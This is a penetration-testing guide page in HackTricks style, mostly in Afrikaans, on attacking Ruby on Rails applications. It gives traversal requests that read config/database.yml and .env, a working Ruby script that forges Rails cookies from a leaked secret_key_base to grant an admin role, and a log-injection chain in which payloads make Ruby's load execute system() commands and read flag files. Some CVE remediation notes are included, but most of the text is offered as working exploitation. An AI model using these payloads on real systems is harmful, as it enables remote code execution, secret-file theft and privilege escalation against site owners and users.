Ruby Wenke

Reading time: 9 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Lêeroplaai na RCE

Soos verduidelik in this article, die oplaai van 'n .rb-lêer in sensitiewe gidse soos config/initializers/ kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.

Wenke:

  • Ander boot/eager-load-ligginge wat by app-opstart uitgevoer word, is ook riskant as hulle skryfbaar is (bv. config/initializers/ is die klassieke voorbeeld). As jy 'n arbitrêre lêeroplaai vind wat enige plek onder config/ beland en later geëvalueer/gelaai word, kan jy RCE tydens opstart verkry.
  • Soek na dev/staging builds wat user-controlled lêers in die container image kopieer waar Rails dit by opstart sal laai.

Active Storage image transformation → command execution (CVE-2025-24293)

Wanneer 'n aansoek Active Storage gebruik met image_processing + mini_magick, en onbetroubare parameters aan beeldtransformasie-metodes deurgee, kan Rails-weergawe voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sekere transformasie-metodes per ongeluk standaard toegelaat was.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Wat om te probeer tydens toetsing

  • Identifiseer enige endpoints wat variant/processing opsies, transformasie-name, of arbitrêre ImageMagick-argumente aanvaar.

  • Fuzz params[:t] en params[:v] vir verdagte foute of uitvoering-newe-effekte. As jy die metodesnaam kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor-host kry.

  • As jy slegs read-access tot gegenereerde variante het, probeer blind exfiltration via vervaardigde ImageMagick-operasies.

  • Remediëring/deteksie

  • As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 met Active Storage + image_processing + mini_magick en user-controlled transformasies sien, beskou dit as uitbuitbaar. Raai aan om op te gradeer en streng allowlists vir metodes/params af te dwing en 'n geharde ImageMagick-beleid te implementeer.

Rack::Static LFI / path traversal (CVE-2025-27610)

As die teiken-stapel Rack middleware direk of via frameworks gebruik, laat weergawes van rack voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via Rack::Static toe wanneer :root nie gestel is of verkeerd gekonfigureer is. Gekodeerde traversering in PATH_INFO kan lêers blootstel onder die proses se werkgids of 'n onverwagte root.

  • Soek na apps wat Rack::Static in config.ru of middleware-stakke mounte. Probeer gekodeerde traverserings teen statiese paaie, byvoorbeeld:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Pas die prefix aan om by die geconfigureerde urls: te pas. As die app met lêerininhoud reageer, het jy waarskynlik LFI na enigiets onder die opgeloste :root.

  • Mitigasie: werk Rack op; maak seker dat :root slegs na 'n gids met openbare lêers wys en uitdruklik gestel is.

Vervalste/ontsleuteling van Rails cookies wanneer secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby om moderne cookies te ontsleutel en weer te her-enkripteer (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notas:

  • Ouer apps mag AES-256-CBC en soute encrypted cookie / signed encrypted cookie gebruik, of JSON/Marshal serializers. Pas soute, cipher, en serializer ooreenkomstig aan.
  • By kompromittering of assessering, roteer secret_key_base om alle bestaande cookies ongeldig te maak.

Sien ook (Ruby/Rails-spesifieke kwesbaarhede)

Log Injection → RCE via Ruby load and Pathname.cleanpath smokkeling

Wanneer 'n app (dikwels 'n eenvoudige Rack/Sinatra/Rails-endpoint) beide:

  • log 'n string wat deur die gebruiker beheer word woordeliks, en
  • later load 'n lêer waarvan die pad afgelei is van dieselfde string (na Pathname#cleanpath),

kan jy dikwels afgeleë kode-uitvoering bereik deur die log te vergiftig en dan die app te dwing om die log-lêer te load. Sleutel-primitiewe:

  • Ruby load evalueer die teikenslêer se inhoud as Ruby ongeag die lêeruitbreiding. Enige leesbare tekslêer waarvan die inhoud as Ruby gepars kan word, sal uitgevoer word.
  • Pathname#cleanpath vou . en .. segmente saam sonder om die filesystem te tref, wat pad-smokkeling moontlik maak: deur aanvaller beheerde rommel kan voorafgeplak word vir logging terwyl die gesuiwerde pad steeds na die beoogde lêer oplos om uitgevoer te word (bv. ../logs/error.log).

Minimale kwesbare patroon

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Waarom die log geldige Ruby kan bevat

Logger skryf voorvoegselreëls soos:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby begin # 'n kommentaar, en 9/2/2025 is net rekenkunde. Om geldige Ruby-kode te inject, moet jy:

  • Begin jou payload op 'n nuwe reël sodat dit nie deur die # in die INFO line uitgekommenteer word nie; stuur 'n voorloop-nuwe reël (\n of %0A).
  • Sluit die hangende [ wat deur die INFO line geïntroduseer is. 'n Algemene truuk is om te begin met ] en opsioneel die parser gelukkig te maak met ][0]=1.
  • Plaas dan arbitrêre Ruby (bv. system(...)).

Voorbeeld van wat in die log sal beland na een request met 'n crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smuggling 'n enkele string wat beide kode log en na die log-pad oplos

Ons wil een aanvaller-beheerde string hê wat:

  • wanneer dit rou gelog word, bevat dit ons Ruby payload, en
  • wanneer dit deur Pathname.new(<input>).cleanpath gegee word, oplos na ../logs/error.log sodat die daaropvolgende load die pas-vergiftigde loglêer uitvoer.

Pathname#cleanpath ignoreer skemas en vou traverseringskomponente saam, dus werk die volgende:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Die # voor :// verseker dat Ruby die staart negeer wanneer die log uitgevoer word, terwyl cleanpath steeds die agtervoegsel verminder na ../logs/error.log.
  • Die voorste newline breek uit die INFO-lyn; ] sluit die hangende hakie; ][0]=1 voldoen aan die parser.

End-to-end exploitation

  1. Stuur die volgende as die backup script-naam (URL-encode die eerste newline as %0A indien nodig):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Die app log jou rou string in logs/error.log.
  2. Die app bereken cleanpath wat oplos na ../logs/error.log en roep load daarop aan.
  3. Ruby voer die kode wat jy in die log ingespuit het uit.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (eerste char is 'n newline):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks